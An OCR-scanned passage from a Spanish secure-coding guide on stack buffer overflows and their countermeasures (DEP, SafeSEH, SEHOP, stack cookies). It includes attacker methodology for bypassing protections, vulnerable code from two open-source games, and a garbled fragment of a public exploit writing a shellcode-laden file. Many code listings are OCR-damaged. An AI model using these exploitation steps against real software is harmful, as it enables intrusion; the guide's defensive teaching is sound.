podemos utilizar strncpy() de la siguiente forma (aunque como se vera mas adelante existen
alternativas méas seguras):

strncpy(destino, origen, destino_size —1)

Como se observa se pasa como argumento adicional el tamafio maximo aceptable por el
array destino (fijese en el -1 para evitar los errores de tipo off-by-one vistos anteriormente).

® Smashing The Stack For Fun And Profit (Phrack 49)
http://www.phrack.org/issues.html?issue=49&id=14#article

Smashing the stack in 2010

http://www.mgraziano.info/docs/stsi2010.pdf

Exploit writing tutorial part 1 : Stack Based Overflows
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
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Debido a que lenguajes como C o C++ no proporcionan, de forma nativa, protecciones
frente a la sobreescritura de datos en la pila, es sumamente importante controlar todas las

entradas del usuario antes de almacenarlas en variables de tipo array.
Controlar las entradas implica asegurarse que la longitud de las mismas
encaja dentro de los limites de las variables definidas.

El enfoque que tomara un atacante para aprovecharse de este tipo de
errores es el siguiente:

Localizar algin parametro de entrada que le permita bien directa o indirectamente
producir un BO. El enfoque puede ser black-box (mediante fuzzers por ejemplo) o
bien white-box, revisando el c6digo estaticamente para encontrar cédigo vulnerable.

Calcular el numero de bytes necesarios para sobreescribir RET o algun SEH
(Structured Exception Handler) que le permita controlar IP.

Inspeccionar regiones de memoria controlables donde pueda inyectar el payload
deseado. El caso mas simple es inyectar el payload justo después de EIP
(direcciones mas altas de memoria) aunque dependiendo del software, en ocasiones
tendra que hacerse uso de egghunters® o omelet egghunters’ para ir saltando y
recomponiendo cada una de las partes del payload.

Identificar posibles bad-characters (modificaciones en algunos bytes del payload
original que puedan impedir su correcta ejecucién) para poder modificar el payload
deseado a medida mediante diversas codificaciones (msfpayload|msfencode)

Analizar el uso de contramedidas del compilador como stack cookies o SafeSEH.
En el primer caso, para eludir posibles canary/stack cookies necesitara generalmente
producir una segunda excepcion que le permita eludir la comprobacién de la cookie
insertada en el stack frame. Otro enfoque es analizar la aleatoriedad de la variable
para, en caso de ser predecible, reescribirla en la pila. Para eludir SafeSEH debera
buscar otras librerias no compiladas con dicho flag, o utilizar, si se puede, el propio
ejecutable para poder ejecutar instrucciones del tipo pop pop ret que le permitan
controlar IP.

Eludir DEP y ASLR. Ambas protecciones estan dirigidas por un lado a impedir la
ejecucioén de instrucciones en ciertas regiones de memoria como el stack y por otro,
proporcionar cierta aleatoriedad al espacio de direcciones del proceso (heap, stack,
librerias, etc) para hacer mas complejo el uso de direcciones hardcodeadas o de
técnicas como ret-to-libc. Mediante el uso de direcciones predecibles (p.gj. librerias
estaticas) y ROP gadgets’ el atacante, podra en determinadas ocasiones eludir
dichas restricciones de seguridad.

69 Exploit writing tutorial part 8 : Win32 Egg Hunting

https://lwww.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
Exploit notes —win32 eggs-to-omelet
https://www.corelan.be/index.php/2010/08/22/exploit-notes-win32-eggs-to-omelet/

" Exploit writing tutorial part 10 : Chaining DEP with ROP — the Rubik’s[TM] Cube

70

https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
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Una de las técnicas mas recientes para eludir dichas protecciones simultdaneamente es la denominada
JIT Memory Spraying introducida por Dion Blazakis. La idea principal de esta técnica es aprovecharse
de la compilacién Just-In-Time (JIT) implementada actualmente por intérpretes a la hora de transformar
el bytecode en codigo maquina.

Dicho cédigo es almacenado en paginas de memoria marcadas como ejecutables las cuales no se ven
afectadas por DEP, y que por tanto pueden aprovecharse para alojar un shellcode. Ademas, dichas
direcciones se alojan en direcciones predecibles de memoria por lo que ASLR podria ser eludido de
igual forma. Para mas informacion sobre esta técnica consulte el paper Interpreter Exploitation:
Pointer Inference and JIT" de Dion Blazakis

Como vemos, el atacante tiene que hacer frente a una serie de obstaculos para poder
desarrollar un exploit funcional. En el caso de no superar alguno de estos pasos,
generalmente el exploit acabard produciendo un DoS de la aplicaciébn que, aunque no
permita ejecucién de cdédigo, afectara directamente a la disponibilidad de la misma. Los
pasos vistos anteriormente representan el concepto de deep security o seguridad en
profundidad, el cual debe ser aplicado de igual forma al desarrollo del software. Esto implica
gue nuestro software debe hacer uso también de politicas de seguridad del compilador y del
sistema operativo (las cuales se verdn mas adelante) para hacer mas complicada su
explotacion.

Veamos un caso practico de buffer overflow.

atic char ulErrorBuffer [ 1024 )
" La vulnerabilidad definida con el CVE-2011-
GEGELS G v s g o tem i 4620 afecta a TORCS (The Open Racing
Car Simulator), un emulador de carreras de
va_list argp coches. Segun podemos leer en el advisory”™
MAHARL( a0, ) la wvulnerabilidad afecta a util/ulError.cxx
sprintf ( _ulErrorBuffer, fmt, argp ) |

va_end (

( _ulE

('_ulEr

fprintf |

_uls

nes

(funcion ulSetError) dentro de la suit PLIB
v1.8.5 (libreria que proporciona mudltiples
funcionalidades para desarrolladores de
juegos).

argp )
rrorcs )

rorCB)( severity

_ulErrorBuffer )

La vulnerabilidad se encuentra en el uso del
array _ulErrorBuffer, el cual fue definido
como un array de 1024, desde la funcién
vsprintf. Sin embargo no se controla de
antemano la longitud de los parametros
pasados a dicha funcion, los cuales pueden
ser controlados por el usuario. Utilizando la
funcion vsnprintf de la siguiente forma:

stderr, "%s: %s\n”

everityText| severity _ulErrorBuffer )

verity UL_FATAL )

sageBox(0, _ulErrorBuffer, "fatal error!:", 0);

Figura 45. Buffer Overflow en TORCS

2 Interpreter Exploitation: Pointer Inference and JIT
http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf

™ Vulnerabilidad en TORCS (CVE-2011-4620)
http://cert.inteco.es/vulnDetail/Actualidad/Actualidad_Vulnerabilidades/detalle_vulnerabilidad/CVE-2011-4620
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vsnprintf (_ulErrorBuffer, sizeof(_ulErrorBuffer), fmt, argp ) ;

0 asegurando la longitud de dichos parametros antes de guardarlo en el arry _ulErrorBuffer
seria suficiente para impedir un desbordamiento de bufer.

Creando un fichero malicioso de extension.acc es posible explotar dicha vulnerabilidad como
asi lo demuestra el exploit ‘http:/www.exploit-db.com/exploits/18258/) desarrollado por
Andrés Gomez. En este caso, para poder ejecutar cddigo basta con crear y enviar un array
bastante largo hasta sobreescribir el return address con la direccion de una instruccion que
produzca un salto al shellcode (un bind shell en este caso)

fprintf(save_fd, "AC3Db\n");
fprintf(save_fd, "MATERIAL \"");

for(i=0; i < 607; IIH)?{% HOP SLED SHELLCODE JMP to SHELLCODE
pute( '\ x99, save_fd); ‘_\\

r
fprintf(save_fd, "%s%s\" rgb 0.4 0.4 0.4 amb 0.5 0.8 0.8 emis 0.4 0.4 0.4 spec 0.5 0.5 0.5 shi 50 trans @\n", buf, function pointer);
fprintf(save_fd, "OBIECT worldin™);

fprintf(save_fd, "kids %din®, 5); FiC]ura 46. EXDIOIt para TORCS

Veamos otro ejemplo. El cédigo de la

dereCha se Corresponde con Otro Juego csitring align = chatNode-»CetlittributeWalue (| 1
opensource (Planeshift 0.5.9) el cual no | rem=s=stl
valida la longitud de una de las variables chat. extettings. align = ETA_RICHT;
. o else if {ali == i
susceptibles de ser modificadas por un chat.cersSenoings align - STA_CENTER,
else
atacante, antes de almacenarla en el array et textSetings align = ETA_LEFT;

effectPrefix. El valor

GetAttributeValue(“effectPrefix”) lo obtiene

stropyichat  effectPrefix, chatNode-:GetlttributeValue(

de una etiqueta llamada effectPrefix
dentro del fichero XML chatbubbles.xml HE fiesString) charlode s erkorrimvevalued e
que  posteriormente  almacena  en else

chat.effectPrefix. Chat es una
variable de tipo estructura, la cual estgq | “#ecfypes Fushichaci’

chat . enabled = true;

definida dentro de chatbubbles.h de la

siguiente manera: Figura 47. Buffer Overflow en Planeshift
struct BubbleChatType
{
int chatType; /4 the chat type this settings will apply to
psEffectTex tRow textiettings} A/ the =zettings
[ char effectPrefix[64]:] // the prefix of the effect name to apply, effects of name {prefixxlongphrase,
bool enabled;

i

Figura 48. Fichero chatbubbles.h (Planeshift)

Como vemos, effectPrefix es un array de 64 bytes, por tanto si modificaramos el valor de la
etiqueta effectPrefix dentro de chatbubbles.xml generariamos un stack overflow:

“chat_bubbles maxlLinelLen="32" shortPhraseCharCount="%" longPhraselLineCount="5">
“chat type="say" colorR="186" colorG="168" colorB="1Z&" shadowR="108" shadowG="38" shadowB="73" aligm="left" effectPrefix="[SCi30N0RMN"
“chat type="tell" colorR="38" colorG="196" colorB="15" shadowR="2Z" shadowG="65" shadowB="3" aligm="left" effectPrefix="chatbubble " /=

<chat type="group" colorR="108" colorG="57" colorBE="ZZZ" shadowR="4&" shadowG="Z4" shadowE="34" align="left" effectPrefix="chatbubble " /=
<chat type="guild" colorR="55" colorG="8§3" colorBE="Z13" shadowR="ZZ" shadowG="3&" shadowE="57" align="left" effectPrefix="chatbubble " /=
<chat type="shout" colorR="153" colorG="1Z" colorBE="1Z" shadowR="87" shadowG="5" shadowE="5" align="left" effectPrefix="chatbubble " /=
<chat type="npc" colorR="153" colorG="1Z" colorB="174" shadowR="86" shadowG="5" shadowB="50" align="left" effectPrefix="chatbubble_ " 5=
<schat bubbhles:
“chat_bubbles maxLinelen="3Z" shortPhraseCharCount="9" longPhraselineCount="5"* #5000
<chat type="say" colorR="186" colorG="168" colorB="126" shadowR="108" shadowG="98" shadowB="73" align="lefr" effeccPrafix=" m "I
V7

Figura 49. Etiqueta effectPrefix en chatbubbles.xml
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Para ver si es posible ejecutar cédigo y no quedarnos Unicamente en un DoS,
necesitariamos ver con ayuda de un debugger el estado de la pila asi como la cantidad de
espacio del que dispondriamos para poder ejecutar el payload deseado (sumado a las
posibles contramedidas que se comentaron anteriormente).

De igual forma que en el caso anterior, un simple If o strncpy” hubiera bastado para
controlar el tamafio de memoria almacenado en la variable effectPrefix. Puede verse
también que la idea para explotar una aplicacién vulnerable es siempre la misma; intentar
localizar y modificar variables de entrada de forma directa o indirecta (por ej. por medio de
un fichero de configuracion como en el ultimo ejemplo).

A diferencia de los errores de tipo use-after-free, los buffer overflow son mas féciles de
prevenir y detectar mediante analisis de cddigo estatico y mediante buena praxis de
programacion. Funciones como strcpy, gets o scanf suelen ser bastante propensas a
buffer overflow por lo que se recomienda encarecidamente utilizar librerias mas seguras que
descarten los datos que excedan la longitud definida.

Algunas de estas funciones como strcpy_s(), strcat_s(),
strncpy_s(), o strncat_s() definidas en el C11 (Annex K), NSy , ,

y en ISO/IEC WDTR 24731 ayudaran a prevenir este it tsiiiiié;g;;gnts
tipo de problemas. Por ejemplo, en el caso de strcpy_s(), const char *strSource ’
las siguientes comprobaciones se llevaran a cabo para | )7

errno_t strcpy s (

evitar cualquier intento de desbordamiento de buffer:
- Los punteros origen y destino son comprobados para ver si son NULL.

- La longitud méxima del bufer de destino se comprobaré para ver si es igual a cero,
mayor que size_t, o menor o igual a la longitud de la cadena de origen.

- Evita la copia cuando ambos
objetos se solapan.

o » void insertar () {
En caso de éxito, la funcién strcpy_s errno_t err;

copiara el contenido del array origen al static const char pre[] = "Error de cadena
destino afiadiendo el caracter de fin de cligr gz [SIZE] 7
cadena al mismo y devolviendo 0. En

err = strc s (ar, sizeof (ar re) ;
caso de detectar un overflow, a la if (err ,=poy)— {( ! (R
cadena destino se le asignaria el /* Manejar el error */
caracter nulo siempre y cuando no sea }

LI

’

un puntero nulo, y la longitud maxima
del mismo sea mayor que cero y no superior a size_t. En ese caso la funcién devolvera un
valor distinto de cero.

™ strncpy() and strncat()

https://buildsecurityin.us-cert.gov/bsi/articles/knowledge/coding/316-BSl.pdf
C11 (C standard revision)
http://en.wikipedia.org/wiki/C11_%?28C_standard_revision%?29
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Compiladores como Microsoft C++ alertaran mediante un warning cuando detecte el uso de
funciones peligrosas como strcpy, recomendandote el uso de funciones mas seguras como
strcpy_s

srar SRS e = |
rilovioverflow\overflow. cpp(23) : warning C459%6&: 'strepy': This function or variable may be unsafe. |Consider using strcpy_s instead{
vea la declaracidén de 'strepy’

Figura 50. Warning Microsoft C++

El uso de funciones de este tipo ayudard enormemente a evitar buffer overflow como los
comentados anteriormente.

Es importante destacar que funciones como strncpy, aunque si proporcionan mas protecciéon
gque la clasica funcion strcpy, siguen siendo propensos a buffer overflow. En
stackoverflow’ podemos ver algunos de estos ejemplos.

En este caso, es el usuario el #include <stdio.h>

que COﬂtrOla el tercer main(int argc, char **argv)
argumento de strncpy utilizado {
para Indlcar el numero de int incorrectSize = atol (argv[l] ),'
. int correctSize = atoi(argv[2]);
CaraCtereS .COpIadOS. a buffer char *buffer = (char *)malloc (correctSize+l);
(St”ng destlno), haciendo esta strncpy (buffer, argv[3], incorrectSize)

funcién totalmente insegura. }

® Why is strncpy insecure?
http://stackoverflow.com/questions/869883/why-is-strncpy-insecure
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6. CONTRAMEDIDAS

6.1. DEP NX/XD (DATA EXECUTION PREVENTION)

A partir de la version de Windows XP SP2 y Windows 2003 Server SP1, Microsoft
implementd un conjunto de tecnologias denominadas prevencion de ejecucion de datos
(DEP™) con objeto de mitigar muchos de los ataques vistos anteriormente. Actualmente
sistemas operativos como Windows Vista o Windows 7 traen DEP activado por defecto.
Segun describe Microsoft:

Como vemos, la idea principal de DEP es evitar ejecutar
cédigo desde el stack o el heap en caso de producir un buffer : g _
overflow e intentar aprovecharnos del mismo para inyectar *ni e e e e
cierto payload al que saltar tras controlar el puntero de e e Sy e by Sl A R
instruccién EIP. La implementacion de esta tecnologia puede Intel Core 2 Duo CPU | T7500 @ 2.20GHz

ser bien por hardware o software, las cuales, como veremos

a continuacion, presentan grandes diferencias. 64 Yes

Maximum Hardware Hardware

En el primer caso, dicha tecnologia es dependiente del Bit Length DEP. Virtualization
prOpIO procesador’ en Cuyo CaSO, el SO debe estar Click any of the three items above to view additional detailed information
funcionando en mOdO de Extensién de direccién about the security impact and consequences of each of these features.

@ SecurAble - What security features are available? @\E @

Click for more!

fisica (PAE™) para arquitecturas de 32 bits o bien de forma ooz
nativa en arquitecturas de 64 bits. Intel llama a esta _ =
funcionalidad XD (eXecute Disable) mientras que AMD se Figura 51. Software SecurAble

refiere a ella como NX como (No eXecute). Para conocer si nuestro micro soporta DEP por

hardware podemos hacer uso de programas como SecurAble. Para Linux bastara con hacer

un [grep nx /proc/cpuinfol desde la linea de comandos.

En caso de contar con soporte NX, cualquier intento de un proceso de ejecutar cédigo
en una pagina marcada como no-ejecutable (por ejemplo, la pila) sera denegada y el
flujo de ejecucién sera redirigido al manejador de errores (error handling) del sistema
operativo.

Nota: Los parches para el kernel de Linux Grsecurity’” y Execshield permiten emular en
cierto modo NX en CPUs x86 de 32 bits sin soporte PAE.

" Data Execution Prevention (DEP)

http://www.nsa.gov/ia/_files/factsheets/I733-TR-043R-2007.pdf

Wikipedia: Extension de direccidn fisica
http://es.wikipedia.org/wiki/Extensi%C3%B3n_de_direcci%C3%B3n_{f%C3%ADsica
Grsecurity hardened Ubuntu Linux

http://develworx.com/blog/24/
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La forma que tiene el S.O. para implementar DEP es marcando las paginas de memoria de
un proceso como no ejecutables a menos que la ubicacion contenga explicitamente codigo
ejecutable. Para ello modifica un bit en la entrada de la tabla de pagina PTE®.

Working C
NX| cot index |RESErVed|Page Number Frame[U | P Cw|GIf L | DfA [CdfWH O [W |V
6362 52 51 3940 121110 9 8 7 6 5 4 3 2 10

Figura 52. Page Table Entry

Una de las ventajas principales de NX/XD es que dicha proteccion es aplicada en tiempo de
ejecucion, es decir que no hace falta que los programas sean recompilados para hacer uso
de la misma. Para mas informacién sobre la implementacion hardware de DEP, se aconseja
la lectura del paper: “A hardware-enforced BOF protection®” de Argento Daniele, Boschi

Patrizio y Del Basso Luca.

La otra implementacion de DEP

es mediante software, que sera

utiizado cuando se carezca de
soporte  hardware para NX. Dicha
implementacion puede dar lugar a
malentendidos ya que la misma no
previene, como hace NX/XD, de Ila
ejecucion de caédigo en el stack, sino que
Unicamente evita sobrescribir manejadores
de excepciones SEH. Estas estructuras
suelen ser aprovechadas por muchos
exploits para conseguir el control de EIP

12 administrador de tareas de Windows

Archivo  Opciones  Wer  Ayuda

Aplicaciones Frocesos |Ser\ricios I Rendimiento | Funciones de red | Lsuarios |

Hambre de imagen | Hombr... | Gacs | hEmari.. . F're... bl ;I
Greenshot.exe adrmin 00 1420KB [Habilitado

KHALMMPR, exe admin oo 1,456 KB |Habilitado
wprintprosy . exe *32 adrmin 00 1848 KB [Habilitado

psi_tray.exe *¥32 adrmin oo 356 KB |Habilitado
wrmware-unity-helper....  admin 00 4772 KB Habilitado

rviray.exe adrmin 00 2.380KB [Habilitado
feedreader.exe ™32 admin 00 107.668,.. Deshabili...

amote.exe *32 adrmin 00 1.380KB

Figura 53. DEP (Data Execution Prevention)

(véase un ejemplo de esto en el punto 71). Este tipo de implementacién también es
conocido como /SAFESEH v, a diferencia del anterior, Gnicamente podra ser utilizado por
aguellas aplicaciones compiladas para hacer uso de la misma.

Esto significa que si nuestro equipo soporta DEP a nivel de hardware (y esta habilitado en la
BIOS) si estaremos protegidos frente a intentos de ejecucion de cddigo en secciones como
el stack o el heap. Sin embargo, si ho contamos con soporte hardware, un atacante podra
llegar a ejecutar cddigo en la pila, evitando Gnicamente aquellos exploits que intenten abusar
de SEH en librerias/ejecutables que cuenten con SafeSEH. Windows permite implementar
DEP utilizando diversas configuraciones tanto para DEP forzada por hardware como para
DEP forzada por software. La siguiente tabla® muestra un resumen de cada una de las

opciones:

8 Wikipedia: Page Table

http://en.wikipedia.org/wiki/Page_table
A hardware-enforced BOF protection
http://ivanlefOu.fr/repo/todo/NX-bit.pdf
Wikipedia: Extension de direccidn fisica

81
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http://es.wikipedia.org/wiki/Extensi%C3%B3n_de_direcci%C3%B3n_{f%C3%ADsica
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Configuracion

Optln

OptOut

AlwaysOn

AlwaysOff

Descripecion

Esta configuracion es la precleterminada. En los sistemas con procesadores que pueden implementar DEP forzada
paor hardware, DEP se habilita de forma predeterminada para algunos archivos binarios v programas del sistema
que "se suscriben”. Con esta opcion, DEP cubrira solo los archivas binarios del sistema de Windows de forma
predeterminada.

DEP se hahilita de forma predeterminada para todos los procesos. Puede crear manualmente una lista de
programas concretos que no tienen aplicada DEP; para ello, utilice el cuadro de dialogo Sistema del Panel de
cantrol. Los profesionales de las tecnologias de la informacian {IT) pueden utilizar Application Compatibility Toolkit
para "no incluir” uno o varios programas en la proteccion de DEP. Las revisiones de compatibilidad de sistema, o
emulacdares, para DEP surten efecto.

Esta configuracion proporciona cobertura cde DEP completa para todo el sistema. Todos los procesos se ejecutan
siempre con DEP aplicada. La lista de excepciones para eximir a programas concretos de la proteccion de DEP no
esta disponible. Las revisiones de compatibilidad de sistema para DEP no tienen efecto. Los programas que se
han excluido utilizando Application Compatibility Toolkit se ajecutan con DEP aplicada.

Esta configuracion no proporciona ninguna proteccion DEP para ninguna parte del sistema, cualquiera que seala

compatibilicdad del hardware con DEP. El procesador no funciona en modo PAE a menos que la opcion /PAE este
presente en el archivo Boot.ini.

Figura 54. Opciones DEP

Instituto Nacional
de Tecnologias
de la Comunicacién

Dichas opciones son accesibles desde el propio boot.ini en el caso de Windows XP o desde
el BCD (datos de la configuracion de arranque) en Windows Vista/7.

| General | SYSTEM.INI | WIN.INI | BOOT.INI | Servicios | Inicio | Herramientas |

[boot loader]
timeout=30

Figura 55. Opciones Boot.ini

Para configurar manualmente el tipo de implementacion
en el sistema puede hacerse desde la pestafia Prev. de
ejecucion de datos en Propiedades del sistema. La

Opciones de rendimiento

opcién seleccionada en la imagen adjunta equivale a la

directiva Optin (habilitada por defecto en Windows XP,
Vista y 7) la cual permite que solo los programas y
servicios de Windows estén bajo DEP. Si se quisiera
forzar que todos los procesos del sistema estén

sequridad. &

fastdetect

Efectos visybles | Opciones avanzadas | Prev. de ejecucion de datos

La Prevencidn de ejecucién de datos (DEP) le ayuda a
protegerse contra virus y otras amenazas a la

esenciales

® Ac';ivar DEP sdlo para los programas y servicios de Windows

protegidos seleccionariamos la opcién inferior (con que seleccione:

posibilidad

de especificar la exclusibn de ciertos

programas) la cual equivaldria a la directiva OptOut
(habilitada por defecto Windows Server 2003).

(O Activar DEP para todos los programas y servicios excepto los

Figura 56. Prev. de ejecucion de datos
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La parte que interesa al desarrollador es conocer que compiladores como Visual Studio C++
ofrecen la opcién de compilar el software con soporte a DEP (y de hecho asi lo hace de

forma predeterminada). Dicha
IMAGE DLLCHARACTERISTICS NX COMPAT en el
propio header del PE. Dicho flag sera considerado
por el cargador del sistema operativo para aplicar o
no DEP a dicho proceso siempre y cuando asi esté
habilitado en la politica DEP (por ejemplo en caso
de que no esté configurado como AlwaysOff). En el
caso de contar con DEP dicho valor sera de 0x0100.
Para ver la informacion del PE header podemos
usar herramientas como Pe editor, Pe Explorer,
OllyDbg, etc.

by Hephi Johnson (d0c_sdvage)
for gnarly!
Awailable commands:
I'nmod

— display ~SafeSEH, -G5S, DEP. and ASLE info for
all loaded modules

0:003> Inmod

00400000 0046c000 WinWHC4
597f0000 59845000 WETAPI3Z
Sb150000 S5b188000 uxthems
66740000 £6799000 hnetcfg
71940000 71210000 mswsock
71210000 71a18000 wshtcpip
71a20000 71228000 WSZHELP
71a30000 71a47000 WS2_32
75160000 75182000 msctfime
76310000 76320000 winsta
76340000 76354000 IMM32
76d20000 76d39000 iphlpapi
76e=0000 7R£07000 DHSAPT
7ef£20000 7ef4d000 WLDAPI2
FEE70000 7RE78000 winrnr
76£80000 76£86000 rasadhlp
77220000 77423000 comctl32
774b0000 7752000 ole32
77bd0000 77bdB8000 VERSION
77be0000 77c38000 msvort
77dal000 77e4c000 ADVAPIZZ
77250000 77e=3000 RPCRT4

~SafeSEH ON -GS
~SafeSEH ON -GS
sSafeSEH ON G5
~SafeSEH ON /G5
sSafeSEH ON -GS
~SafeSEH ON -GS
~SafeSEH ON -GS
sSafeSEH ON /G5
~SafeSEH ON /G5
sSafeSEH ON -GS
~SafeSEH ON -GS
~SafeSEH ON -GS
sSafeSEH ON /G5
~SafeSEH ON -GS
HO_SEH

HO_SEH

~SafeSEH ON G5

CWWINDOWS systend2WHETAPI32 dll
C:~WINDOWS systend2 uxthens dll
C:~WINDOWS gystend2 hnetcfg.dll
CWWINDOWS systend 2 mswsock dll
C:~WINDOWSSystend2wshtcpip. dll
CWWINDOWS gystend2“WSZHELF.d1l
CWIFNDOWS systend2~W52_32 411
CNWINDOWS systend2 nsctiine . ine
CWINDOWS systend2 winsta.dll
C:~WINDOWSsystend2~IMM32 DLL
C:WWINDOWS gystend2iphlpapi dll
CWIFNDOWS systend2~DHSAPT . 411
C:~WINDOWS gystend2“WLDAP32 .41l
CoWWINDOWS NSystend2 winrnr dll
C:~WINDOWS systend2 rasadhlp d11

sSafeSEH ON /G5
~SafeSEH ON /G5
~SafeSEH ON -GS
~SafeSEH ON /G5
~SafeSEH ON -GS

C:WINDOWS systend2woled2 dll
C:WINDOWS systen32~VERSION .d11
C:WINDOWS system32wmsvert . dll
C:~WINDOWS systend2~ADVAPII2 d11

opcién

afade el

Basic FE Header Information

EntryPoint:
ImageBaze
Size0flmage:
EBaselfCode:
EBase0fData:
Sectionshgnment:
Filedlignment:

M agic:

000737C0
(00400000

Subsgysten:
NurnberdfS ections:

flag

o[
T

Hino: SubsystenVersion:

0x0000 =-= 5.00

Win3ZVersionWValue: 0x00000000
Sizelilmage: 0x000BADOD
SizelfHeaders: 0x00000400
Check3um: 0x000C3Z6E
Subsystem: 0x0001 (NATIVE)
[ Dlicharacteristics: 0x0140 |
SizelfStackReserve: 0x00100000
SizelfdtackComnit: 0x00001000
SizelfHeapReserve: Ox00100000
SizelfHeapCommit 0x00001000
LoaderFlags: DxDUDDDDDDI
NunberlfRvaindSizes: 0x00000010

;

Figura 57. DLLCharacteristics (PE Header)

C:~Archivos de programa“~RealVHCWWHCAWinVHCY exe

Command - Pid 1184 - WinDbg:6.12.0002.633 XB6

C:“WINDOWS-WinS=5 x86_Microsoft.Windows.Common—Controls 65

0:003> |

Figura 58. Extension Narly

Asimismo, para ver las
librerias cargadas que
hacen uso de SafeSEH
asi como GS y ASLR
se puede hacer uso de

la extension para
windbg narly®, la cual
genera una salida

como la mostrada en la
imagen de la izquierda.

Desde Immunity Debugger también podemos hacer uso del plugin mona.py para mostrarnos

aquellos médulos que no implementan SafeSEH. Unicamente ejecutamos
nosafeseh y veremos una salida similar a la siguiente:

Imona

Figura 59. Plugin Mona.py (Immunity Debugger)

% The Narliest Windbg Extension Evar!
http://code.google.com/p/narly/
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Como se observa, el unico médulo que no implementa SafeSEH es el propio ejecutable
ftp_vuln. Esta informacién serd realmente til si lo que tratamos de explotar es un buffer
overflow en el mismo, aprovechandonos del manejador de excepciones. En este caso, las
instrucciones del tipo pop pop ret, push reg ret, etc. podriamos tomarlas del propio

ejecutable para eludir DEP.

Nota: En Windows Server 2008, Windows Vista Service Pack 1 y

Windows 7, Microsoft implementé una nueva medida de mitigacion
para evitar la sobreescritura de SEH denominada SEHOP®*. En
términos generales, SEHOP comprueba, antes de ejecutar cualquier
excepcion, que la lista de manejadores de excepciones asociadas al
hilo actual estd intacta. Para ello, afiade un nuevo registro de
excepcion (symbolic record) al final del la cadena SEH del hilo en
ejecuciéon. Cuando se produzca una excepcion, SEHOP intentara
recorrer la cadena SEH hasta llegar a dicho registro simbdlico
utilizando para ello el campo next SEH de cada estructura SEH. Si
un atacante abusa de SEH (véase el caso practico del punto 71)
habra modificado el campo next SEH de la estructura SEH
sobreescrita (para hacer un forward/back jump al shellcode) por lo
que el registro simbdlico no sera alcanzado y, por tanto, el intento de
intrusion seré detectado.

TEB: FS[0]
—_—

Q

)g T

| PolinteEH: |

Jmp to shellcode

=

SEHOP
Symbolic Record

Figura 60. Chain SEH

004018E1
XOR EAX, EAX
;8; E:: Sin embargo, SEHOP puede ser eludida creando una
RET R Jmp 8 estructura SEH falsa en el stack y apuntando a la
o001kza] | netsen  Misma desde el campo NEXT del SEH sobreescrito.
L AT sennanaler PAra ello, juega con los 4 bytes del campo next para
que funcione como una direccién de memoria a la vez
> Start que opcodes validos. Teniendo en cuenta que los 2
primeros bytes no seran ejecutados, IP podra ejecutar
un salto al shellcode/nops sled. Por otro lado, cuando
se compruebe la cadena SEH, el campo next SEH
apuntara a la estructura falsa creada en el stack que
continuara la cadena hasta llegar al symbolic record.
— StHChan = e Jmp 8 En el paper Bypassing SEHOP®® de Stéfan Le Berre y
—  Executionflow Pl OERRERRE I Ne4SEH T bamien Cauquil detallan perfectamente esta técnica.

nidlitFnalExceptionHandler

—

Shellcode

SEH handler

Figura 61. Bypassing SEHOP (imagen extraida del

paper “Bypassing SEHOP”)

84

Preventing the Exploitation of Structured Exception Handler (SEH) Overwrites with SEHOP

http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx

Bypassing Windows Hardware-enforced Data Execution Prevention
http://www.uninformed.org/?v=2&a=4

%  Bypassing SEHOP
http://lwww.shell-storm.org/papers/files/760.pdf
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Aunque existen numerosas técnicas® para explotar DEP (véase ret2libc,
ZwProtectVirtualMemory, NtSetinformationProcess,...) bajo ciertas condiciones, la
explotacién de aplicaciones que implementen el bit NX/XD serd mucho mas compleja por lo
gque se aconseja tener en cuenta las mismas para el desarrollo de software.

Considere también el uso del switch SafeSEH a la hora de compilar binarios. Esta opcion
ayudaria a bloquear aquellos exploits que traten de aprovecharse del SEH para ejecutar
codigo (aunque el mismo no impediria la corrupcion de datos en el stack como se mostré
anteriormente). Tenga en cuenta que cuando se produce una excepcion todos los registros
se fijan a 0. De esta forma se impide que alguno de los mismos apunte a zonas de memoria
que puedan ser utilizadas para almacenar un shellcode y saltar al mismo. Con esta medida
de seguridad junto con SafeSEH, DEP y ASLR se hace realmente complejo ejecutar cédigo.

8 Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR

http://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/
Bypassing Windows Hardware-enforced Data Execution Prevention
http://www.uninformed.org/?v=2&a=4
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6.2. STACK/CANARY COOKIES

Una medida complementaria a DEP es el uso de stack cookies (también conocidas como
stack probes o canary cookie). El uso de esta contramedida, implementada tanto en
sistemas Linux como Windows, supone afadir un valor en el stack para comprobar que el
mismo no es sobreescrito en caso de producirse un buffer overflow, protegiendo ademas la
direccion del manejador de excepciones de la funcién. Dicha medida sera implementada
cuando la funcién contenga como variables locales buffers, evitando asi el overhead en
aquellas funciones no susceptibles a buffer overflow. La idea es modificar la forma en la que
el compilador genera el prélogo y el epilogo de las funciones afiadiendo un nuevo valor
aleatorio en la pila que sera comprobado una vez se salga de dicha funcion.

En condiciones normales (en caso de no utilizar stack cookies) el epilogo de una funcion
seria similar al siguiente (sintaxis intel):

Push ebp
Mov ebp, esp

A partir de ahi, esp crecerd hacia direcciones decrecientes para reservar espacio a las
variables locales declaradas en dicha funcién, quedando la pila con un aspecto similar al
que se ve en la figura (a), en donde se ha declarado como variable local un buffer de 20
caracteres.

En el caso de que un atacante se aproveche de un buffer overflow en el array buf, intentara
sobreescribir EIP con la direccién de una instruccién que le permita saltar al payload (por
ejemplo con un jmp esp), quedando la pila como se muestra en (b). En el caso de contar
con stack cookies, el compilador afiadira justo después de EBP (frame pointer) un valor
dword unsigned int (4 bytes) aleatorio correspondiente a la cookie. Dicho valor sera también
almacenado en la seccidon .DATA del propio ejecutable en el caso de Windows, y en el
selector de segmento GS en el caso de Linux. De esta forma, en el epilogo de la funcion
podra comprobarse que la cookie sigue manteniéndose intacta. El epilogo, aparte del leave
y el ret, afiadird también cierto overhead para realizar esta comprobacion.

En el dibujo (d), se detectaria por tanto que la cookie no es igual a la almacenada en .DATA,
en cuyo caso se llamaria a la funcion _stack chk_fail, mostrando el mensaje “stack
smashing detected”.

ESP —

AT TR T A T T 1
BUF[20] AT TR TR TR T T4
